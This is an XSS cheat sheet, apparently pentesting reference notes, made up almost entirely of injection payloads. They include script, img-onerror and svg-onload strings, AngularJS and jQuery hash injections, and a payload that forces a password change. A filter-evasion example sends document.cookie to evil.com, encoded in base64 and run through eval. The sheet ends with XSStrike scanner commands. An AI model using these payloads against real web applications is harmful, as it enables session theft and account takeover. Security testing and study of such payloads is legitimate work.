XSS (Cross-Site Scripting)
Last modified: 2023-03-19
XSS enables attackers to injection client-side scripts into web applications.
Payloads
We can insert them into URL params, POST params or HTTP headers.
<script>alert(1)</script>
"><script>alert(1)</script>
<script>alert(1)</script>
"><script>alert(1)</script>
'></script><script>alert(1)</script>
';alert(1);'
" src=1 onerror=alert(1)>
<><img src=1 onerror=alert(1)>
"><img src=1 onerror=alert(1)>
"></span><img src=1 onerror=alert(1)>
"><svg onload=alert(1)>
javascript:alert(1)
\"-alert(1)//
%3Cscript%3Ealert%281%29%3C%2Fscript%3E
<a onmouseover=alert(1)>click</a>
" onmouseleave='alert(1)'">
<img src="jav ascript:alert(1)">
<img src="jav	ascript:alert(1)">
<img src="jav
ascript:alert(1)">
</textarea><script>alert(1)</script>
<script>fetch('/profile?new_password=password');</script>
/?q=&subparam=--><script>alert(1)</script>
/index.php#value='><script>alert(1)</script>
JQuery
https://vulnerable.com/#<img src=1 onerror=alert(1)>
<iframe src="https://vulnerable.com/#" onload="this.src+='<img src=1 onerror=alert(1)>'">
AngularJS
If you find "<html ng-app>" or "<div ng-app>" in the HTML source code, you may be able to abuse it by XSS.
https://vulnerable.com/?search={{$on.constructor('alert(1)')()}}
Filter Evasion
Base64 & Eval
Website may sanitize inputs to prevent from malicious code. However, we might be able to circumvent by modifying our code.
For example, change JavaScript code to Base64 string.
fetch("http://evil.com/"+document.cookie);
# Base64: ZmV0Y2goImh0dHA6Ly9ldmlsLmNvbS8iICsgZG9jdW1lbnQuY29va2llKTs=
Insert the base64 string into the “eval” function as below.
# '(' => '\x28'
# ')' => '\x29'
<img src="x" onerror=eval.call`${"eval\x28atob`ZmV...2EoZCkpKQo=`\x29"}`
Automation
XSStrike is a XSS scanner.
# GET request
python xsstrike.py -u http://vulnerable.com/?param=test
# POST reqeust
python xsstrike.py -u http://vulnerable.com/post --data "username=test&email=test&comment=test"
# data as JSON
python xsstrike.py -u http://vulnerable.com/comment --data '{"comment": "test"}' --json
